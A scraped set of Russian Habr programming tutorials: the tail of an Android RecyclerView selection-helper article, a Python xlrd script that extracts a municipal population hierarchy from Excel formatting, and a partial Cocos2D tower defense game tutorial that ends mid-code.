private val binding: ViewDataBinding
) : RecyclerView.ViewHolder(binding.root) {
fun onBind(item: Item) {
binding.apply {
//Установка переменных
setVariable(itemBindingId ?: BR.item, item)
selectionHelper?.let { setVariable(BR.selectionHelper, it) }
root.setOnClickListener {
//Вызываем обработку элемента
selectionHelper?.handleItem(item)
onClick?.invoke(item)
}
lifecycleOwner = this@RecyclerViewAdapter.lifecycleOwner
}
}
}
private inner class DiffUtilCallback(private val newItems: List) : DiffUtil.Callback() {
override fun getOldListSize(): Int = itemCount
override fun getNewListSize(): Int = newItems.size
override fun areItemsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return newItems[newItemPosition].id == items[oldItemPosition].id
}
override fun areContentsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return newItems[newItemPosition] == items[oldItemPosition]
}
}
}
```
Модифицируем наш итем
---------------------
И так, пришло время немного переписать xml итема, добавляем наш selectionHelper как пременную в xml
```
xml version="1.0" encoding="utf-8"?
```
Сейчас для выделения я сделал padding = 1dp, для того, что бы менять фон выделенного изображения, по факту отображение выделения зависит только от вашей фантазии.
Добавляем новый bindingAdapter для обработки изменений в selectionHelper
```
//Обработка изменений selectionHelper'а, для этого нам нужен id итема
@BindingAdapter("selection_helper", "item_id", requireAll = true)
fun handleSelection(
view: View,
selectionHelper: ISelectionHelper,
itemId: Int
) {
//Смотрим текущее состояние итема
val isSelected = selectionHelper.isSelected(itemId)
//Выбираем цвет в зависимости от состояния
val color = if (isSelected) {
R.color.color\_primary
} else {
android.R.color.transparent
}
view.setBackgroundColor(ContextCompat.getColor(view.context, color))
}
```
Таким вот образом, если элемент выбран мы меняем ему background.
Результат
---------
Вот список элементов до клика по ним:
После кликов получаем вот такой результат:
Заключение
----------
По результату мы получили довольно простой инструмент для выделения элементов списка. Если отойти от обычного выделения рамкой, можно будет менять состояние, допустим, чекбокса, в зависимости от того, выбран элемент или нет.
```
android:checked=@{selectionHelper.isSelected(item.id)}
```
По аналогии можно сделать кучу разных вариаций использования данного хэлепера.
Спасибо за прочтение, это моя первая статья, так что не судите строго, а так же держите котика.
 | https://habr.com/ru/post/531166/ | null | ru | null |
# Чтение официальных данных о численности муниципальных образований с параметрами форматирования текста с помощью библиотеки xlrd
Для одного общественного проекта (визуализация бюджетов поселений и районов) мне потребовались данные об иерархии муниципальных образований и их численности.
Нужные данные я [нашел](http://www.gks.ru/wps/wcm/connect/rosstat_main/rosstat/ru/statistics/publications/catalog/afc8ea004d56a39ab251f2bafc3a6fce), но форма их представления для корректного использования оставляла желать лучшего.
Все необходимые данные были [в одном файле](https://github.com/Kulikovpavel/Excel-import/blob/master/Tabl-35-12.xls?raw=true), однако, его форматирование затрудняло извлечение иерархии. Все названия муниципалитетов, районов и областей располагались в одном столбце и отличались только форматом ячейки и шрифта. Область выделялась жирным шрифтом, район — жирным наклонным, а поселение имело отступ. Также в файле находились несколько ошибок, например один район был выделен как область (или наоборот, уже не помню), а еще в одном месте в середине названия образования встретился переход строки (этот момент выяснился на этапе импорта в Google App Engine, когда db.StringProperty() ругнулся на multiline), исходный файл в этих местах пришлось исправить.
В поисках решения, как лучше это сделать, я набрел на библиотеку xlrd, возможностей которой хватает для этой задачи с лихвой. Подробнее о ней можно почитать [тут](http://habrahabr.ru/post/99923/), я же приведу код программы импорта и доступные параметры при работе с форматированием.
Форматирование ячейки и тип шрифта позволяют получить следующую информацию:
**Ячейка**alignment (XFAlignment object):
hor\_align: 0
indent\_level: 0
rotation: 0
shrink\_to\_fit: 0
text\_direction: 0
text\_wrapped: 0
vert\_align: 2
background (XFBackground object):
background\_colour\_index: 65
fill\_pattern: 0
pattern\_colour\_index: 64
border (XFBorder object):
bottom\_colour\_index: 64
bottom\_line\_style: 7
diag\_colour\_index: 0
diag\_down: 0
diag\_line\_style: 0
diag\_up: 0
left\_colour\_index: 64
left\_line\_style: 1
right\_colour\_index: 64
right\_line\_style: 1
top\_colour\_index: 64
top\_line\_style: 1
font\_index: 7
format\_key: 0
is\_style: 0
lotus\_123\_prefix: 0
parent\_style\_index: 0
protection (XFProtection object):
cell\_locked: 1
formula\_hidden: 0
xf\_index: 556
**Шрифт**struck\_out: 0
underline\_type: 0
underlined: 0
weight: 400
bold: 1
character\_set: 204
colour\_index: 32767
escapement\_type: 0
family: 0
font\_index: 10
height: 200
italic: 1
name: u'Arial Cyr'
outline: 0
shadow: 0
Со всеми параметрами я не разбирался, мне для данной задачи хватило типа шрифта и отступа (ident) в ячейке. Но видно, что возможности большие, вплоть до цвета конкретной границы ячейки или типа линии.
**Код скрипта**
```
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import xlrd
import json
rb = xlrd.open_workbook('Tabl-35-12.xls', formatting_info=True)
font_list = rb.font_list # list of all fonts in excel table
sheet = rb.sheet_by_index(1)
rows_number = sheet.nrows
peoples_dict = {} # main dict
for rownum in range(7, rows_number): # data starts with line 7
cell = sheet.cell(rownum, 0)
value = cell.value.strip().replace('\n', ' ') # delete spaces at start and end
peoples_count = sheet.cell(rownum, 1).value
if peoples_count == 0 or peoples_count == '': # empty row - continue
continue
peoples_count = int(peoples_count) # from 12313.0 to integer
cell_format = rb.xf_list[cell.xf_index]
current_font = font_list[cell_format.font_index]
bold = bool(current_font.bold)
italic = bool(current_font.italic)
indent = cell_format.alignment.indent_level
is_region = bold and not italic
is_raion = bold and italic
is_municipal = (indent == 2)
if is_region:
region = value
peoples_dict[region] = {'count': peoples_count}
elif is_raion:
raion = value
peoples_dict[region][raion] = {'count': peoples_count}
elif is_municipal:
municipal = value
peoples_dict[region][raion][municipal] = {'count': peoples_count}
print peoples_dict['Московская область']['Истринский муниципальный район']['Городское поселение Истра']['count']
with open('peoples.json', 'w') as outfile:
json.dump(peoples_dict, outfile)
```
В качестве бонуса — получившийся [выходной файл, в формате json](https://github.com/Kulikovpavel/Excel-import/blob/master/peoples.json?raw=true). Структура — вложенные словари, где каждый элемент содержит ключ 'count', где записана численность образования, и ключи его потомков.
То есть численность Московской области можно получить так:
```
peoples_dict['Московская область']['count']
```
а численность города Истры Истринского муниципального района — так:
```
peoples_dict['Московская область']['Истринский муниципальный район']['Городское поселение Истра']['count']
``` | https://habr.com/ru/post/182548/ | null | ru | null |
# Как написать игру в стиле Tower Defense
Жанр Tower Defence один из самых популярных жанров игр на iOS. Причиной тому веселое времяпрепровождение, сдобренное постройкой башен для создания последней точки обороны против орд монстров, пытающихся эту самую оборону прорвать.
Представляю вашему вниманию перевод статьи, написанной Pablo Ruiz, и найденной мной на сайте [raywenderlich.com](http://www.raywenderlich.com).
В этом уроке будет показано, как создать игру Tower Defense с нуля, с помощью Cocos2D.
В процессе вы выучите следующее:
* Как создавать волны врагов и настраивать время их появления.
* Как заставить этих врагов двигаться по заданным точкам(waypoint'ам).
* Как строить башни на специально отведенных местах на карте.
* Как заставить башни стрелять во врагов.
* Как визуально представить waypoint'ы и радиусы атак башен.
В конце урока, у вас будет свой фрэймворк для создания игр такого типа, который вы сможете расширять, добавляя новые типы врагов, башен и карт.
Для понимания этого урока, вам нужно базовое понимание Cocos2D. Если вы новичок, то можете взглянуть на более легкие уроки на [сайте Рэя](http://www.raywenderlich.com/tutorials#cocos2d).
##### Вид с Башни из Слоновой Кости
Если вы не знакомы с жанром, Tower Defence представляет собой стратегическую игру, где игрок покупает и располагает вооруженные башни в стратегических точках, чтобы остановить волны врагов, которые пытаются достичь базы и уничтожить ее.
Каждая последующая волна врагов обычно сильнее предыдущей, достигается это за счет увеличения устойчивости к вашему оружию и способности быстрее двигаться. Игра заканчивается в случае, когда вы выстояли все волны врагов(Победа!), либо же в случае когда враги добрались до базы и уничтожили ее(Проигрыш!).
Вот скриншот игры, которую мы закончим писать в конце урока:
Как вы можете видеть на картинке, враги появляются из левой верхней части экрана и следуют вдоль зеленого маршрута к базе игрока.
Вдоль дороги множество платформ, где игрок может установить башню. Игрок может купить ровно столько башен, сколько позволяют запасы золота. Радиусы атаки башен, показаны белым кругом, если враги находятся внутри этого круга, башня будет стрелять по ним пока не уничтожит, либо враги не выйдут из радиуса атаки.
##### Подготовка ресурсов
Для вас уже подготовлен [стартовый проект](http://cdn2.raywenderlich.com/downloads/TowerDefenseStarter.zip), содержащий в себе пустой шаблон Cocos2D и большинство ресурсов, которые мы будем использовать в ходе урока.
Стартовый проект содержит базовый шаблон Cocos2D 1.1, который предоставляет собой работающее приложение содержащее HelloWorldLayer и строку по середине экрана. Мы не будем использовать HelloWorldLayer, потому что создадим собственный интерфейс, и все же данный класс приводится для того, чтобы вы были уверены, что на данном этапе все работает.
Откройте проект в Xcode, скомпилируйте и запустите его. Текст «Hello World» удален из проекта, поэтому вы просто должны получить черный экран и не получить ошибок в процессе запуска.
Взгляните на структуру проекта. Внутри папки TowerDefense вы найдете:
* Все классы использованные в игре
* Папка с библиотекой Cocos2D
* Папка ресурсов с необходимыми графикой и звуками
Теперь вы можете начать настраивать карту и создавать башни!
##### Установка башен
Вначале, добавьте фоновую картинку на сцену. Откройте класс **HelloWorldLayer.m** и добавьте следующие строчки кода внутрь условия «if» в методе «init»:
```
// 1 - инициализация
self.isTouchEnabled = YES;
CGSize wins = [CCDirector sharedDirector].winSize;
// 2 - назначение фона
CCSprite * background = [CCSprite spriteWithFile:@"Bg.png"];
[self addChild:background];
[background setPosition:ccp(wins.width/2,wins.height/2)];
```
Первая строчка в разделе #1 позволяет слою принимать события касания. Остальная часть кода в разделе #2 добавляет фоновый спрайт на нашу сцену.
Фоновая картинка помогает увидеть, где игрок может ставить башни. Теперь вам нужно задать несколько точек на экране, касаясь которых игрок сможет строить башни.
Чтобы сохранить смысл наших действий, все точки будут находиться в файле ".plist", в котором их можно будет легко изменить. **TowerPosition.plist** находится в папке Resources и уже содержит несколько позиций для постройки башен внутри.
Рассмотрите этот файл, вы найдете массив словарей, которые содержат всего два ключа: «x» и «y». Каждый словарь представляет собой позицию башни по ее координатам на экране. Теперь вам нужно прописать этот файл и установить базы для башен на карте.
Откройте **HelloWorldLayer.h** и добавьте следующую переменную (внутрь фигурных скобок после строчки [interface](https://habrahabr.ru/users/interface/)):
```
NSMutableArray * towerBases;
```
Внесите следующие изменения в **HelloWorldLayer.m**:
**Код**
```
//Добавьте новый метод над "init"
-(void)loadTowerPositions
{
NSString* plistPath = [[NSBundle mainBundle] pathForResource:@"TowersPosition" ofType:@"plist"];
NSArray * towerPositions = [NSArray arrayWithContentsOfFile:plistPath];
towerBases = [[NSMutableArray alloc] initWithCapacity:10];
for(NSDictionary * towerPos in towerPositions)
{
CCSprite * towerBase = [CCSprite spriteWithFile:@"open_spot.png"];
[self addChild:towerBase];
[towerBase setPosition:ccp([[towerPos objectForKey:@"x"] intValue],[[towerPos objectForKey:@"y"] intValue])];
[towerBases addObject:towerBase];
}
}
//Внутри init, вызовите этот метод после раздела #2
// 3 - Загрузка позиции башен
[self loadTowerPositions];
//В dealloc, освободите память нового массива (перед вызовом super)
[towerBases release];
```
Скомпилируйте и запустите приложение, вы увидите квадраты по сторонам дороги, они будут служить базой для установки башен.
Теперь эти базы готовы, давайте построим несколько башен!
Вначале, откройте **HelloWorldLayer.h** и добавьте следующую строчку после закрытия фигурных скобок:
```
@property (nonatomic,retain) NSMutableArray *towers;
```
Синтезируйте переменную башен в **HelloWorldLayer.m** ниже строчки @implementation:
```
@synthesize towers;
```
Затем, создайте новый класс, который будет представлять башни. Добавьте новый файл из шаблона iOS\Cocoa Touch\Objective-C. Назовите класс **Tower**, и сделайте его подклассом **CCNode**.
Замените содержимое **Tower.h** следующим:
**Код**
```
#import "cocos2d.h"
#import "HelloWorldLayer.h"
#define kTOWER_COST 300
@class HelloWorldLayer, Enemy;
@interface Tower: CCNode {
int attackRange;
int damage;
float fireRate;
}
@property (nonatomic,assign) HelloWorldLayer *theGame;
@property (nonatomic,assign) CCSprite *mySprite;
+(id)nodeWithTheGame:(HelloWorldLayer*)_game location:(CGPoint)location;
-(id)initWithTheGame:(HelloWorldLayer *)_game location:(CGPoint)location;
@end
```
Затем замените содержимое **Tower.m** этим:
**Код**
```
#import "Tower.h"
@implementation Tower
@synthesize mySprite,theGame;
+(id) nodeWithTheGame:(HelloWorldLayer*)_game location:(CGPoint)location
{
return [[[self alloc] initWithTheGame:_game location:location] autorelease];
}
-(id) initWithTheGame:(HelloWorldLayer *)_game location:(CGPoint)location
{
if( (self=[super init])) {
theGame = _game;
attackRange = 70;
damage = 10;
fireRate = 1;
mySprite = [CCSprite spriteWithFile:@"tower.png"];
[self addChild:mySprite];
[mySprite setPosition:location];
[theGame addChild:self];
[self scheduleUpdate];
}
return self;
}
-(void)update:(ccTime)dt
{
}
-(void)draw
{
glColor4f(255, 255, 255, 255);
ccDrawCircle(mySprite.position, attackRange, 360, 30, false);
[super draw];
}
-(void)dealloc
{
[super dealloc];
}
@end
```
Класс башен содержит в себе несколько переменных: спрайт- визуальное представление башни, ссылку на родительский слой для удобного доступа и три переменные:
* attackRange: определяет расстояние с которого башни могут атаковать врагов
* damage: определяет сколько урона башня наносит врагам
* fireRate: определяет сколько времени нужно башни на перезарядку
С помощью этих трех переменных, вы можете создать огромное множество видов башен с разными типами атак. И, наконец, код содержит метод отрисовки радиуса атаки башни для удобства тестирования.
Настало время позволить игроку добавлять башни!
Откройте **HelloWorldLayer.m** и внесите следующие изменения:
**Код**
```
//В верхушке файла:
#import "Tower.h"
//Внутриdealloc:
[towers release];
//После метода dealloc добавьте следующие методы:
-(BOOL)canBuyTower
{
return YES;
}
- (void)ccTouchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
{
for( UITouch *touch in touches ) {
CGPoint location = [touch locationInView: [touch view]];
location = [[CCDirector sharedDirector] convertToGL: location];
for(CCSprite * tb in towerBases)
{
if([self canBuyTower] && CGRectContainsPoint([tb boundingBox],location) && !tb.userData)
{
//Мы потратим наше золото позже.
Tower * tower = [Tower nodeWithTheGame:self location:tb.position];
[towers addObject:tower];
tb.userData = tower;
}
}
}
}
```
**ccTouchesBegan**: фиксирует касания экрана. Затем код производит итерацию по массиву towerBases и проверяет, содержит ли какая-нибудь из баз башен точку касания.
Но до того, как башни могут быть сделаны, вы должны проверить две вещи:
1. Может ли игрок позволить такое удовольствие? Метод canBuyTower проверит, имеет ли пользователь достаточно золота, чтобы купить башню. Хотя, на данный момент, у игрока все золото форта Нокс и метод будет возвращать всегда YES.
2. Нарушает ли игрок правила постройки? Если tb.UserData задана, тогда на том месте уже стоит башня и вы не можете построить новую.
Если все условия выполнены, создается новая башня, устанавливается на базу и добавляется в массив башен.
Скомпилируйте и запустите игру. Коснитесь любой базы, и вы увидите, что добавляется башня с белым кругом вокруг нее, показывающим радиус ее атаки.
Но к чему все это вооружение без «плохих парней», давайте позовем их на вечеринку!
##### Политика игры: Враги, Волны и Вэйпоинты
До того как создадим врагов, давайте проложим дорогу для них. Враги будут следовать по маршруту из вэйпоинтов, которые по сути являются точками, соединенными между собой и определяющими путь движения врагов в вашем мире. Враги будут появляться на первом вэйпоинте, будут искать следующий в списке, двигаться к нему, и так будет повторяться, пока они не достигнут последнего — вашей базы! Если это произойдет — вы понесете урон.
Создайте список вэйпоинтов путем создания нового файла из iOS\Cocoa Touch\Objective-C шаблона классов. Назовите класс **Waypoint** и сделайте его подклассом **CCNode**.
Замените содержимое **Waypoint.h** следующим:
**Код**
```
#import "cocos2d.h"
#import "HelloWorldLayer.h"
@interface Waypoint: CCNode {
HelloWorldLayer *theGame;
}
@property (nonatomic,readwrite) CGPoint myPosition;
@property (nonatomic,assign) Waypoint *nextWaypoint;
+(id)nodeWithTheGame:(HelloWorldLayer*)_game location:(CGPoint)location;
-(id)initWithTheGame:(HelloWorldLayer *)_game location:(CGPoint)location;
@end
```
Далее замените содержимое **Waypoint.m**:
**Код**
```
#import "Waypoint.h"
@implementation Waypoint
@synthesize myPosition, nextWaypoint;
+(id)nodeWithTheGame:(HelloWorldLayer*)_game location:(CGPoint)location
{
return [[[self alloc] initWithTheGame:_game location:location] autorelease];
}
-(id)initWithTheGame:(HelloWorldLayer *)_game location:(CGPoint)location
{
if( (self=[super init])) {
theGame = _game;
[self setPosition:CGPointZero];
myPosition = location;
[theGame addChild:self];
}
return self;
}
-(void)draw
{
glColor4f(0, 255, 0, 255);
ccDrawCircle(myPosition, 6, 360, 30, false);
ccDrawCircle(myPosition, 2, 360, 30, false);
if(nextWaypoint)
ccDrawLine(myPosition, nextWaypoint.myPosition);
[super draw];
}
-(void)dealloc
{
[super dealloc];
}
@end
```
Вначале код создает объект вэйпоинта, ссылаясь на объект HelloWorldLayer и определяя CGPoint, который является позицией вэйпоинта.
Каждый вэйпоинт содержит ссылку на следующий, это создает связанный список вэйпоинтов. Каждый вэйпоинт «знает» следующего в списке.Таким образом вы можете вести врагов к их финальной цели, продвигаясь по цепочке вэйпоинтов.
В конце метод отрисовки показывает нам, где находятся вэйпоинты, и рисует линию соединения между ними, в целях тестирования.
Создайте список вэйпоинтов. Откройте **HelloWorldLayer.h** и добавьте следующую переменную:
**Код**
```
@property (nonatomic,retain) NSMutableArray *waypoints;
```
Добавьте следующий код в **HelloWorldLayer.m**:
```
//В самом верху файла:
#import "Waypoint.h"
// Добавьте synthesise
@synthesize waypoints;
//Добавьте следующий метод над init
-(void)addWaypoints
{
waypoints = [[NSMutableArray alloc] init];
Waypoint * waypoint1 = [Waypoint nodeWithTheGame:self location:ccp(420,35)];
[waypoints addObject:waypoint1];
Waypoint * waypoint2 = [Waypoint nodeWithTheGame:self location:ccp(35,35)];
[waypoints addObject:waypoint2];
waypoint2.nextWaypoint =waypoint1;
Waypoint * waypoint3 = [Waypoint nodeWithTheGame:self location:ccp(35,130)];
[waypoints addObject:waypoint3];
waypoint3.nextWaypoint =waypoint2;
Waypoint * waypoint4 = [Waypoint nodeWithTheGame:self location:ccp(445,130)];
[waypoints addObject:waypoint4];
waypoint4.nextWaypoint =waypoint3;
Waypoint * waypoint5 = [Waypoint nodeWithTheGame:self location:ccp(445,220)];
[waypoints addObject:waypoint5];
waypoint5.nextWaypoint =waypoint4;
Waypoint * waypoint6 = [Waypoint nodeWithTheGame:self location:ccp(-40,220)];
[waypoints addObject:waypoint6];
waypoint6.nextWaypoint =waypoint5;
}
// В конце метода init:
// 4 - Add waypoints
[self addWaypoints];
//Внутри dealloc
[waypoints release];
```
Скомпилируйте и запустите игру:
На карте шесть вэйпоинтов, по этому пути будут следовать враги. Перед тем как вы дадите друзьям проиграть в игре, вам нужно добавить несколько вспомогательных методов.
Для начала добавьте описание методов в заголовочный файл, чтобы другие классы могли использовать эти методы без предупреждений от компилятора.
Откройте **HelloWorldLayer.h** и добавьте следующие описания методов перед строчкой " [end](https://habrahabr.ru/users/end/)":
**Код**
```
-(BOOL)circle:(CGPoint)circlePoint withRadius:(float)radius collisionWithCircle:(CGPoint)circlePointTwo collisionCircleRadius:(float)radiusTwo;
void ccFillPoly(CGPoint *poli, int points, BOOL closePolygon);
```
Далее откройте **HelloWorldLayer.m** и добавьте следующие строки в конец файла (перед [end](https://habrahabr.ru/users/end/)):
```
void ccFillPoly( CGPoint *poli, int points, BOOL closePolygon ) {
// Обычные состояния GL: GL_TEXTURE_2D, GL_VERTEX_ARRAY, GL_COLOR_ARRAY, GL_TEXTURE_COORD_ARRAY
// Необходимые состояния: GL_VERTEX_ARRAY,
// Ненужные состояния: GL_TEXTURE_2D, GL_TEXTURE_COORD_ARRAY, GL_COLOR_ARRAY
glDisable(GL_TEXTURE_2D);
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
glDisableClientState(GL_COLOR_ARRAY);
glVertexPointer(2, GL_FLOAT, 0, poli);
if( closePolygon )
glDrawArrays(GL_TRIANGLE_FAN, 0, points);
else
glDrawArrays(GL_LINE_STRIP, 0, points);
// restore default state
glEnableClientState(GL_COLOR_ARRAY);
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
glEnable(GL_TEXTURE_2D);
}
-(BOOL)circle:(CGPoint) circlePoint withRadius:(float) radius collisionWithCircle:(CGPoint) circlePointTwo collisionCircleRadius:(float) radiusTwo {
float xdif = circlePoint.x - circlePointTwo.x;
float ydif = circlePoint.y - circlePointTwo.y;
float distance = sqrt(xdif*xdif+ydif*ydif);
if(distance <= radius+radiusTwo)
return YES;
return NO;
}
```
Метод collisionWithCircle поможет нам выяснить, когда два круга сталкиваются или пересекаются. Это поможет понять, достиг ли враг вэйпоинта, а также выявить врагов, находящихся в радиусе атаки башни.
Метод ccFillPoly рисует заполненные полигоны с помощью OpenGL. В Cocos2d вы можете рисовать только незаполненные полигоны. Метод ccFillPoly будет использоваться для рисования полосок здоровья врагов.
Пришло время выпустить врагов.
Откройте **HelloWorldLayer.h** и добавьте следующий код:
**Код**
```
// Добавьте эти переменные
int wave;
CCLabelBMFont *ui_wave_lbl;
// Там где описываются property
@property (nonatomic,retain) NSMutableArray *enemies;
```
Внесите следующие изменения в **HelloWorldLayer.m**:
```
// Synthesize enemies
@synthesize enemies;
// В dealloc
[enemies release];
```
Пришло время создать класс, который будет содержать всю информацию о врагах и управлять их передвижением по экрану. Создайте новый файл iOS\Cocoa Touch\Objective-C. Назовите класс **Enemy** и сделайте его подклассом **CCNode**.
Замените содержимое **Enemy.h**:
**Код**
```
#import "cocos2d.h"
#import "HelloWorldLayer.h"
#import "GameConfig.h"
@class HelloWorldLayer, Waypoint, Tower;
@interface Enemy: CCNode {
CGPoint myPosition;
int maxHp;
int currentHp;
float walkingSpeed;
Waypoint *destinationWaypoint;
BOOL active;
}
@property (nonatomic,assign) HelloWorldLayer *theGame;
@property (nonatomic,assign) CCSprite *mySprite;
+(id)nodeWithTheGame:(HelloWorldLayer*)_game;
-(id)initWithTheGame:(HelloWorldLayer *)_game;
-(void)doActivate;
-(void)getRemoved;
@end
```
Теперь содержимое **Enemy.m**:
**Код**
```
#import "Enemy.h"
#import "Tower.h"
#import "Waypoint.h"
#import "SimpleAudioEngine.h"
#define HEALTH_BAR_WIDTH 20
#define HEALTH_BAR_ORIGIN -10
@implementation Enemy
@synthesize mySprite, theGame;
+(id)nodeWithTheGame:(HelloWorldLayer*)_game {
return [[[self alloc] initWithTheGame:_game] autorelease];
}
-(id)initWithTheGame:(HelloWorldLayer *)_game {
if ((self=[super init])) {
theGame = _game;
maxHp = 40;
currentHp = maxHp;
active = NO;
walkingSpeed = 0.5;
mySprite = [CCSprite spriteWithFile:@"enemy.png"];
[self addChild:mySprite];
Waypoint * waypoint = (Waypoint *)[theGame.waypoints objectAtIndex:([theGame.waypoints count]-1)];
destinationWaypoint = waypoint.nextWaypoint;
CGPoint pos = waypoint.myPosition;
myPosition = pos;
[mySprite setPosition:pos];
[theGame addChild:self];
[self scheduleUpdate];
}
return self;
}
-(void)doActivate
{
active = YES;
}
-(void)update:(ccTime)dt
{
if(!active)return;
if([theGame circle:myPosition withRadius:1 collisionWithCircle:destinationWaypoint.myPosition collisionCircleRadius:1])
{
if(destinationWaypoint.nextWaypoint)
{
destinationWaypoint = destinationWaypoint.nextWaypoint;
}else
{
//Достигнут конец пути. Нанесение повреждений игроку
[theGame getHpDamage];
[self getRemoved];
}
}
CGPoint targetPoint = destinationWaypoint.myPosition;
float movementSpeed = walkingSpeed;
CGPoint normalized = ccpNormalize(ccp(targetPoint.x-myPosition.x,targetPoint.y-myPosition.y));
mySprite.rotation = CC_RADIANS_TO_DEGREES(atan2(normalized.y,-normalized.x));
myPosition = ccp(myPosition.x+normalized.x * movementSpeed,myPosition.y+normalized.y * movementSpeed);
[mySprite setPosition:myPosition];
}
-(void)getRemoved
{
[self.parent removeChild:self cleanup:YES];
[theGame.enemies removeObject:self];
//Сообщите игре что мы убили врага и можно проверить если можно запустить новую волну
[theGame enemyGotKilled];
}
-(void)draw
{
glColor4f(255, 0, 0, 255);
CGPoint healthBarBack[] = {ccp(mySprite.position.x -10,mySprite.position.y+16),ccp(mySprite.position.x+10,mySprite.position.y+16),ccp(mySprite.position.x+10,mySprite.position.y+14),ccp(mySprite.position.x-10,mySprite.position.y+14)};
ccFillPoly(healthBarBack, 4, YES);
glColor4f(0, 255, 0, 255);
CGPoint healthBar[] = {ccp(mySprite.position.x + HEALTH_BAR_ORIGIN,mySprite.position.y+16),ccp(mySprite.position.x+HEALTH_BAR_ORIGIN+(float)(currentHp * HEALTH_BAR_WIDTH) / maxHp,mySprite.position.y+16),ccp(mySprite.position.x+HEALTH_BAR_ORIGIN+(float)(currentHp * HEALTH_BAR_WIDTH) / maxHp,mySprite.position.y+14),ccp(mySprite.position.x+HEALTH_BAR_ORIGIN,mySprite.position.y+14)};
ccFillPoly(healthBar, 4, YES);
}
-(void)dealloc
{
[super dealloc];
}
@end
```
Это внушительный отрезок кода, но его легко понять. Вначале создается враг, когда HelloWorldLayer ссылается на него. Внутри init метода несколько важных переменных:
* maxHP: определяет сколько ударов может выдержать враг
* walkingSpeed: определяет как быстро двигается враг
* mySprite: хранит визуальной представление врага(спрайт)
* destinationWaypoint: хранит ссылку на следующий выэйпоинт
Метод update вызывается каждый кадр, вначале мы проверяем достиг ли враг следующего вэйпоинта, используя метод collisionWithCircle, который мы описали ранее. Если это произошло, направляем к следующему и так пока не достигнет последнего вэйпоинта, тогда наносим игроку повреждения.
Передвижение спрайта вдоль прямой линии от одного вэйпоинта к другому, соответственно скорости передвижения, достигается следующим алгоритмом:
* Вычисляется вектор, пролегающий от нынешней позиции к целевой, ему присваивается значение 1, для удобства работы(нормализованная переменная).
* Нормализованный вектор умножается на скорость передвижения, для вычисления количества пути для преодоления в данном кадре. Ему присваивается нынешняя позиция для получения следующей.
Наконец, метод отрисовки создает полоску здоровья над спрайтом. Вначале он рисует красный фон, затем покрывает его зеленым, согласно нынешнему количеству HP врага.
Класс врагов готов, вы можете показать их на экране!
Откройте **HelloWorldLayer.h** и добавьте следующее описание метода:
```
-(void)enemyGotKilled;
```
Переключитесь на **HelloWorldLayer.m** и опишите метод:
**Код**
```
//Вверху файла:
#import "Enemy.h"
//до метода init:
-(BOOL)loadWave {
NSString* plistPath = [[NSBundle mainBundle] pathForResource:@"Waves" ofType:@"plist"];
NSArray * waveData = [NSArray arrayWithContentsOfFile:plistPath];
if(wave >= [waveData count])
{
return NO;
}
NSArray * currentWaveData =[NSArray arrayWithArray:[waveData objectAtIndex:wave]];
for(NSDictionary * enemyData in currentWaveData)
{
Enemy * enemy = [Enemy nodeWithTheGame:self];
[enemies addObject:enemy];
[enemy schedule:@selector(doActivate) interval:[[enemyData objectForKey:@"spawnTime"]floatValue]];
}
wave++;
[ui_wave_lbl setString:[NSString stringWithFormat:@"WAVE: %d",wave]];
return YES;
}
-(void)enemyGotKilled {
if ([enemies count]<=0) //If there are no more enemies.
{
if(![self loadWave])
{
NSLog(@"You win!");
[[CCDirector sharedDirector] replaceScene:[CCTransitionSplitCols transitionWithDuration:1 scene:[HelloWorldLayer scene]]];
}
}
}
// вконце метода init:
// 5 - добавляем врагов
enemies = [[NSMutableArray alloc] init];
[self loadWave];
// 6 - создаем надпись про номер волны
ui_wave_lbl = [CCLabelBMFont labelWithString:[NSString stringWithFormat:@"WAVE: %d",wave] fntFile:@"font_red_14.fnt"];
[self addChild:ui_wave_lbl z:10];
[ui_wave_lbl setPosition:ccp(400,wins.height-12)];
[ui_wave_lbl setAnchorPoint:ccp(0,0.5)];
```
Все выше написанное достойно объяснения. Самая важная часть- метод LoadWave; он считывает данные из **Waves.plist**.
Взгляните на **Waves.plist**, и вы заметите, что он содержит 3 массива. Каждый из них представляет собой волну, которая является группой врагов, появляющихся вместе. Первый массив содержит шесть словарей. Каждый словарь представляет собой врага. В этом уроке, словарь хранит только время появления врага, но может содержать в себе тип врага, его способности, здоровье и т.д.
Метод loadWave проверяет, должна ли появиться следующая волна, создает соответствующих врагов, основываясь на информации о волне, и расписывает их время появления соответственно.
Метод enemyGotKilled проверяет количество врагов на экране, если их нет, вызывает следующую волну. Позже этот же метод будет использован для проверки победы игрока.
Скомпилируйте и запустите игру сейчас. Враги двигаются к вашей базе!
##### Атака башен
Башни на месте? Проверьте. Враги двигаются? Перепроверьте! Пришло время завалить этих наглецов.
Каждая башня проверяет есть ли враг внутри радиуса ее поражения. Если да, башня начинает стрелять по нему, пока не произойдет одно из двух: враг выйдет за пределы досягаемости, или враг будет уничтожен. Тогда башня начнет искать новую жертву.
Начнем защищать базу!
Откройте **Tower.h** и внесите следующие изменения:
**Код**
```
// добавьте несколько переменных
BOOL attacking;
Enemy *chosenEnemy;
// добавьте описание методов
-(void)targetKilled;
```
Теперь в **Tower.m**:
```
// импортируйте хэдер Enemy класса
#import "Enemy.h"
// Добавьте следующие методы над init:
-(void)attackEnemy
{
[self schedule:@selector(shootWeapon) interval:fireRate];
}
-(void)chosenEnemyForAttack:(Enemy *)enemy
{
chosenEnemy = nil;
chosenEnemy = enemy;
[self attackEnemy];
[enemy getAttacked:self];
}
-(void)shootWeapon
{
CCSprite * bullet = [CCSprite spriteWithFile:@"bullet.png"];
[theGame addChild:bullet];
[bullet setPosition:mySprite.position];
[bullet runAction:[CCSequence actions:[CCMoveTo actionWithDuration:0.1 position:chosenEnemy.mySprite.position],[CCCallFunc actionWithTarget:self selector:@selector(damageEnemy)],[CCCallFuncN actionWithTarget:self selector:@selector(removeBullet:)], nil]];
}
-(void)removeBullet:(CCSprite *)bullet
{
[bullet.parent removeChild:bullet cleanup:YES];
}
-(void)damageEnemy
{
[chosenEnemy getDamaged:damage];
}
-(void)targetKilled
{
if(chosenEnemy)
chosenEnemy =nil;
[self unschedule:@selector(shootWeapon)];
}
-(void)lostSightOfEnemy
{
[chosenEnemy gotLostSight:self];
if(chosenEnemy)
chosenEnemy =nil;
[self unschedule:@selector(shootWeapon)];
}
```
Наконец, замените пустой метод update на:
**Код**
```
